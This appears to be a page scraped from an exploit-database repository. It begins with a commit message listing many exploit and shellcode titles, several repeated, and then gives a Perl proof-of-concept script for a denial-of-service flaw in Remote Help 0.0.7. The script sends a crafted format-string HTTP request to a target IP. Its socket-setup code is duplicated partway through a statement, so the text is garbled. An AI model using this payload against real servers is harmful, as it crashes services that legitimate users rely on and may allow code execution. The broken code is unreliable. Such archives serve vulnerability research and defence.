880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
73 lines
No EOL
2.7 KiB
Perl
Executable file
73 lines
No EOL
2.7 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/38875/info
|
|
|
|
Remote Help is prone to a denial-of-service vulnerability.
|
|
|
|
Remote attackers can exploit this issue to cause the application to crash, denying service to legitimate users. Due to the nature of this issue arbitrary code-execution may be possible; however this has not been confirmed.
|
|
|
|
Remote Help 0.0.7 is vulnerable; other versions may also be affected.
|
|
|
|
# Exploit Title : Remote Help 0.0.7 Remote DoS
|
|
# Date : 20 Mar 2010
|
|
# Author : Rick2600 (ricks2600[at]gmail{dot}com)
|
|
# Bug found by : Rick2600
|
|
# Software Link : http://www.softpedia.com/progDownload/Remote-Help-Download-144888.html
|
|
# Version : 0.0.7
|
|
# OS : Windows
|
|
# Tested on : XP SP2 En
|
|
# Type of vuln : DoS
|
|
# Greetz to : Corelan Security Team : http://www.corelan.be:8800/index.php/security/corelan-team-members/
|
|
#
|
|
# Script provided 'as is', without any warranty.
|
|
# Use for educational purposes only.
|
|
#
|
|
#
|
|
# Code :
|
|
print "|------------------------------------------------------------------|\n";
|
|
print "| __ __ |\n";
|
|
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n";
|
|
print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n";
|
|
print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n";
|
|
print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n";
|
|
print "| |\n";
|
|
print "| http://www.corelan.be:8800 |\n";
|
|
print "| |\n";
|
|
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
|
|
print "[+] DoS exploit for Remote Help 0.0.7 Http\n";
|
|
|
|
use IO::Socket;
|
|
|
|
if ($#ARGV != 0) {
|
|
print $#ARGV;
|
|
print "\n usage: $0 <targetip>\n";
|
|
exit(0);
|
|
}
|
|
|
|
|
|
print "[+] Connecting to server $ARGV[0] on port 80\n\n";
|
|
|
|
$remote = IO::Socket::INET->new( Proto => "tcp",
|
|
|
|
if ($#ARGV != 0) {
|
|
print $#ARGV;
|
|
print "\n usage: $0 <targetip>\n";
|
|
exit(0);
|
|
}
|
|
|
|
|
|
print "[+] Connecting to server $ARGV[0] on port 80\n\n";
|
|
|
|
$remote = IO::Socket::INET->new( Proto => "tcp",
|
|
PeerAddr => $ARGV[0],
|
|
PeerPort => "http(80)",
|
|
);
|
|
unless ($remote) { die "Cannot connect to Remote Help daemon on $ARGV[0]\n" }
|
|
print "[+] Connected!\n";
|
|
|
|
|
|
#CONTROL EAX
|
|
$payload = "/index.html" . "%x" x 90 . "A" x 250 . "%x" x 186 ."%.999999x" x 15 ."%.199999x" . "%nX" . "DCBA";
|
|
|
|
|
|
print "[+] Sending Malicious Request\n";
|
|
print $remote "GET $payload HTTP/1.1\r\n";
|
|
close $remote; |